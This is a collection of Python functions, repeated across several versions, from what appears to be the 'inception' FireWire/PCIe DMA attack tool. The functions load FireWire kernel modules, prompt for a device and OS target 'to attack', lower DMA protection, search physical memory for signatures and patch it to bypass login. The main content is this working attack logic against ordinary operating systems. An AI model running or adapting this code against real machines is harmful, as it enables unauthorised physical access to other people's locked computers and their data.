def __init__(self): ''' Constructor Initializes the bus and sets device, OUI variables ''' self._bus = Bus() try: self._bus.enable_sbp2() except IOError: term.poll('FireWire modules are not loaded. Load them? [Y/n]: ') answer = input().lower() if answer in ['y', '']: status = call('modprobe firewire-ohci', shell=True) if status == 0: try: self._bus.enable_sbp2() except IOError: time.sleep(2) # Give some more time self._bus.enable_sbp2() # If this fails, fail hard term.info('FireWire modules loaded successfully') else: term.fail('Could not load FireWire modules') else: term.fail('FireWire modules not loaded') # Enable SBP-2 support to ensure we get DMA self._devices = self._bus.devices() self._oui = self.init_OUI() self._vendors = [] self._max_request_size = cfg.PAGESIZE
def select(self): ''' Present the user of the option to select what device (connected to the bus) to attack ''' if not self._vendors: self.businfo() nof_devices = len(self._vendors) if nof_devices == 1: if cfg.verbose: term.info('Only one device present, device auto-selected as ' + 'target') return 0 else: term.poll('Select a device to attack (or type \'q\' to quit): ') selected = input().lower() try: selected = int(selected) except: if selected == 'q': sys.exit() else: term.warn('Invalid selection. Type \'q\' to quit') return self.select() if 0 < selected <= nof_devices: return selected - 1 else: term.warn('Enter a selection between 1 and ' + str(nof_devices) + '. Type \'q\' to quit') return self.select()
def select_target(targets, selected=False): ''' Provides easy selection of targets. Input is a list of targets (dicts) ''' if len(targets) == 1: term.info('Only one target present, auto-selected') return targets[0] if not selected: term.poll('Please select target (or enter \'q\' to quit):') selected = input() nof_targets = len(targets) try: selected = int(selected) except: if selected == 'q': sys.exit() else: term.warn( 'Invalid selection, please try again. Type \'q\' to quit') return select_target(targets) if 0 < selected <= nof_targets: return targets[selected - 1] else: term.warn('Please enter a selection between 1 and ' + str(nof_targets) + '. Type \'q\' to quit') return select_target(targets)
def write(self, addr, buf): if cfg.forcewrite: term.poll("Are you sure you want to write to file [y/N]? ") answer = input().lower() if answer in ["y", "yes"]: self.file.seek(addr) self.file.write(buf) else: term.warn("File not patched. To enable file writing, use the " + "--force-write switch")
def write(self, addr, buf): if cfg.forcewrite: term.poll('Are you sure you want to write to file [y/N]? ') answer = input().lower() if answer in ['y', 'yes']: self.file.seek(addr) self.file.write(buf) else: term.warn('File not patched. To enable file writing, use the ' + '--force-write switch')
def __init__(self): ''' Constructor Initializes the bus and sets device, OUI variables ''' self._bus = Bus() try: self._bus.enable_sbp2() except IOError: if os.geteuid() == 0: # Check if we are running as root term.poll( 'FireWire modules are not loaded. Try loading them? [Y/n]: ' ) answer = input().lower() if answer in ['y', '']: status_modprobe = call('modprobe firewire-ohci', shell=True) status_rescan = call('echo 1 > /sys/bus/pci/rescan', shell=True) if status_modprobe == 0 and status_rescan == 0: try: self._bus.enable_sbp2() except IOError: time.sleep(2) # Give some more time try: self._bus.enable_sbp2( ) # If this fails, fail hard except IOError: term.fail( 'Unable to detect any local FireWire ports. Please make ' + 'sure FireWire is enabled in BIOS, and connected ' + 'to this system. If you are using an adapter, please make ' + 'sure it is properly connected, and re-run inception' ) term.info('FireWire modules loaded successfully') else: term.fail( 'Could not load FireWire modules, try running inception as root' ) else: term.fail('FireWire modules not loaded') else: term.fail( 'FireWire modules are not loaded and we have insufficient privileges ' + 'to load them. Try running inception as root') # Enable SBP-2 support to ensure we get DMA self._devices = self._bus.devices() self._oui = self.init_OUI() self._vendors = [] self._max_request_size = cfg.PAGESIZE
def unload_fw_ip(): """ Unloads IP over FireWire modules if present on OS X """ term.poll("IOFireWireIP on OS X may cause kernel panics. Unload? [Y/n]: ") unload = input().lower() if unload in ["y", ""]: status = call("kextunload /System/Library/Extensions/IOFireWireIP.kext", shell=True) if status == 0: term.info("IOFireWireIP.kext unloaded") term.info("To reload: sudo kextload /System/Library/Extensions/" + "IOFireWireIP.kext") else: term.fail("Could not unload IOFireWireIP.kext")
def unload_fw_ip(): ''' Unloads IP over FireWire modules if present on OS X ''' term.poll('IOFireWireIP on OS X may cause kernel panics. Unload? [Y/n]: ') unload = input().lower() if unload in ['y', '']: status = call('kextunload /System/Library/Extensions/IOFireWireIP.kext', shell=True) if status == 0: term.info('IOFireWireIP.kext unloaded') term.info('To reload: sudo kextload /System/Library/Extensions/' + 'IOFireWireIP.kext') else: term.fail('Could not unload IOFireWireIP.kext')
def unload_fw_ip(): ''' Unloads IP over FireWire modules if present on OS X ''' term.poll('IOFireWireIP on OS X may cause kernel panics. Unload? [Y/n]: ') unload = input().lower() if unload in ['y', '']: status = call( 'kextunload /System/Library/Extensions/IOFireWireIP.kext', shell=True) if status == 0: term.info('IOFireWireIP.kext unloaded') term.info('To reload: sudo kextload /System/Library/Extensions/' + 'IOFireWireIP.kext') else: term.fail('Could not unload IOFireWireIP.kext')
def __init__(self): ''' Constructor Initializes the bus and sets device, OUI variables ''' self._bus = Bus() try: self._bus.enable_sbp2() except IOError: if os.geteuid() == 0: # Check if we are running as root term.poll('FireWire modules are not loaded. Try loading them? [Y/n]: ') answer = input().lower() if answer in ['y', '']: status_modprobe = call('modprobe firewire-ohci', shell=True) status_rescan = call('echo 1 > /sys/bus/pci/rescan', shell=True) if status_modprobe == 0 and status_rescan == 0: try: self._bus.enable_sbp2() except IOError: time.sleep(2) # Give some more time try: self._bus.enable_sbp2() # If this fails, fail hard except IOError: term.fail('Unable to detect any local FireWire ports. Please make ' + 'sure FireWire is enabled in BIOS, and connected ' + 'to this system. If you are using an adapter, please make ' + 'sure it is properly connected, and re-run inception') term.info('FireWire modules loaded successfully') else: term.fail('Could not load FireWire modules, try running inception as root') else: term.fail('FireWire modules not loaded') else: term.fail('FireWire modules are not loaded and we have insufficient privileges ' + 'to load them. Try running inception as root') # Enable SBP-2 support to ensure we get DMA self._devices = self._bus.devices() self._oui = self.init_OUI() self._vendors = [] self._max_request_size = cfg.PAGESIZE
def select_device(self): ''' Present the user of the option to select what device (connected to the bus) to attack ''' if not self._vendors: self.businfo() nof_devices = len(self._vendors) if nof_devices == 1: if cfg.verbose: term.info('Only one device present, device auto-selected as ' + 'target') return 0 else: term.poll('Select a device to attack (or type \'q\' to quit): ') selected = input().lower() try: selected = int(selected) except: if selected == 'q': sys.exit() else: term.warn('Invalid selection. Type \'q\' to quit') return self.select_device() if 0 < selected <= nof_devices: i = selected - 1 vendor = self._vendors[i] # If the target is a Mac, and we are in memdump mode with the # --override switch set, make sure we don't touch OS X's g-spot # (which would likely cause a kernel panic) if 'apple' in vendor.lower() and cfg.memdump and cfg.override: cfg.apple_target = True term.info('The target seems to be a Mac, forcing avoidance ' + '(not dumping {0:#x}-{1:#x})'.format( cfg.apple_avoid[0], cfg.apple_avoid[1])) return i else: term.warn('Enter a selection between 1 and ' + str(nof_devices) + '. Type \'q\' to quit') return self.select_device()
def select_device(self): ''' Present the user of the option to select what device (connected to the bus) to attack ''' if not self._vendors: self.businfo() nof_devices = len(self._vendors) if nof_devices == 1: if cfg.verbose: term.info('Only one device present, device auto-selected as ' + 'target') return 0 else: term.poll('Select a device to attack (or type \'q\' to quit): ') selected = input().lower() try: selected = int(selected) except: if selected == 'q': sys.exit() else: term.warn('Invalid selection. Type \'q\' to quit') return self.select_device() if 0 < selected <= nof_devices: i = selected - 1 vendor = self._vendors[i] # If the target is a Mac, and we are in memdump mode with the # --override switch set, make sure we don't touch OS X's g-spot # (which would likely cause a kernel panic) if 'apple' in vendor.lower() and cfg.memdump and cfg.override: cfg.apple_target = True term.info('The target seems to be a Mac, forcing avoidance ' + '(not dumping {0:#x}-{1:#x})' .format(cfg.apple_avoid[0], cfg.apple_avoid[1])) return i else: term.warn('Enter a selection between 1 and ' + str(nof_devices) + '. Type \'q\' to quit') return self.select_device()
def select_target(targets, selected=False): ''' Provides easy selection of targets. Input is a list of targets (dicts) ''' if len(targets) == 1: term.info('Only one target present, auto-selected') return targets[0] if not selected: term.poll('Please select target (or enter \'q\' to quit):') selected = input() nof_targets = len(targets) try: selected = int(selected) except: if selected == 'q': sys.exit() else: term.warn('Invalid selection, please try again. Type \'q\' to quit') return select_target(targets) if 0 < selected <= nof_targets: return targets[selected - 1] else: term.warn('Please enter a selection between 1 and ' + str(nof_targets) + '. Type \'q\' to quit') return select_target(targets)
def attack(targets): ''' Main attack logic ''' # Initialize and lower DMA shield if not cfg.filemode and not cfg.pciemode: try: fw = firewire.FireWire() except IOError: term.fail('Could not initialize FireWire. Are the modules ' + 'loaded into the kernel?') start = time.time() device_index = fw.select_device() # List targets list_targets(targets) # Select target target = select_target(targets) # Print selection. If verbose, print selection with signatures term.info('Selected target: ' + target['OS'] + ': ' + target['name']) if cfg.verbose: printdetails(target) # Lower DMA shield or use a file as input, and set memsize device = None memsize = None if cfg.filemode: device = util.MemoryFile(cfg.filename, cfg.PAGESIZE) memsize = os.path.getsize(cfg.filename) elif cfg.pciemode: device = util.SlotScreamer() memsize = cfg.memsize else: elapsed = int(time.time() - start) device = fw.getdevice(device_index, elapsed) memsize = cfg.memsize # Perform parallel search for all signatures for each OS at the known # offsets term.info('DMA shields should be down by now. Attacking...') address, chunks = searchanddestroy(device, target, memsize) if not address: # TODO: Fall-back sequential search? return None, None # Signature found, let's patch mask = 0xfffff000 # Mask away the lower bits to find the page number page = int((address & mask) / cfg.PAGESIZE) term.info('Signature found at {0:#x} in page no. {1}'.format(address, page)) if not cfg.dry_run: success, backup = patch(device, address, chunks) if success: if cfg.egg: sound.play('resources/inception.wav') term.info('Patch verified; successful') term.info('BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!') else: term.warn('Write-back could not be verified; patching *may* ' + 'have been unsuccessful') if cfg.revert: term.poll('Press [enter] to revert the patch:') input() device.write(address, backup) if backup == device.read(address, cfg.PAGESIZE): term.info('Revert patch verified; successful') else: term.warn('Revert patch could not be verified') #Clean up device.close() return address, page
def attack(targets): ''' Main attack logic ''' # Initialize and lower DMA shield if not cfg.filemode: try: fw = firewire.FireWire() except IOError: term.fail('Could not initialize FireWire. Are the modules ' + 'loaded into the kernel?') start = time.time() device_index = fw.select_device() # Print selection term.info('Selected device: {0}'.format(fw.vendors[device_index])) # List targets list_targets(targets) # Select target target = select_target(targets) # Print selection. If verbose, print selection with signatures term.info('Selected target: ' + target['OS'] + ': ' + target['name']) if cfg.verbose: printdetails(target) # Lower DMA shield or use a file as input, and set memsize device = None memsize = None if cfg.filemode: device = util.MemoryFile(cfg.filename, cfg.PAGESIZE) memsize = os.path.getsize(cfg.filename) else: elapsed = int(time.time() - start) device = fw.getdevice(device_index, elapsed) memsize = cfg.memsize # Perform parallel search for all signatures for each OS at the known # offsets term.info('DMA shields should be down by now. Attacking...') address, chunks = searchanddestroy(device, target, memsize) if not address: # TODO: Fall-back sequential search? return None, None # Signature found, let's patch mask = 0xfffff000 # Mask away the lower bits to find the page number page = int((address & mask) / cfg.PAGESIZE) term.info('Signature found at {0:#x} in page no. {1}'.format( address, page)) if not cfg.dry_run: success, backup = patch(device, address, chunks) if success: term.info('Patch verified; successful') if cfg.egg: sound.play('data/inception.wav') term.info('BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!') else: term.warn('Write-back could not be verified; patching *may* ' + 'have been unsuccessful') if cfg.revert: term.poll('Press [enter] to revert the patch:') input() device.write(address, backup) if backup == device.read(address, cfg.PAGESIZE): term.info('Revert patch verified; successful') else: term.warn('Revert patch could not be verified') #Clean up device.close() return address, page